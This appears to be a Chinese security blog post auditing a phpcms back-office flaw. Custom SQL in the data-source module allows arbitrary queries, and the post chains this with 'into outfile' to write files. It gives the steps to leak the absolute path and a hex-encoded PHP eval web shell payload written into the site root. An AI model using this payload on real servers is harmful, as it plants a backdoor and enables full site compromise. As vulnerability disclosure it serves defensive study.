phpcms后台注入至getshell漏洞审计

2017-01-20 17,543

本文由armyzer0团队原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

漏洞存在文件phpcms\modules\dbsource\call.php的get函数中phpcms1

程序调用了$data变量的数据,而这个变量可以被用户控制(在后台数据源,自定义sql语句的地方),所以可以构造任务sql语句来进行调用(语句尾用--注释掉程序原本的limit语句。

phpcms2

后台进行自定义sql,然后调用

phpcms3

既然可以调用任意的sql语句,则可以利用mysql的into outfile 进行文件写入,只要能找到网站程序的绝对路径即可,那么怎样得知绝对路径呢,可以利用sql语句来报错,证明如下:构造自定义sql语句:select 123 into outfile'c:\\test.txt' -- ,然后调用

phpcms4

可以看到程序出错,绝对路径就出来了,此外,尽管程序报错了, 但是sql语句还是顺利执行了,所以利用这个漏洞,只要构造自定义语句:select0x3C3F706870206576616C2028245F504F53545B76616C5D293B203F3E into outfile'D:\\xampp\\htdocs\\phpcms\\abc.php' -- 同样在也前台进行调用,就可以在程序的根目录下程序后门程序,从而GETSHELL。

phpcms5

 

【本文由armyzer0团队原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。】

本文作者:armyzer0

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/54950.html

Tags:
评论  (2)
快来写下你的想法吧!

armyzer0

文章数:8 积分: 2

team.armyzer0.com “剑 之 所 指,心 之 所 向”

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号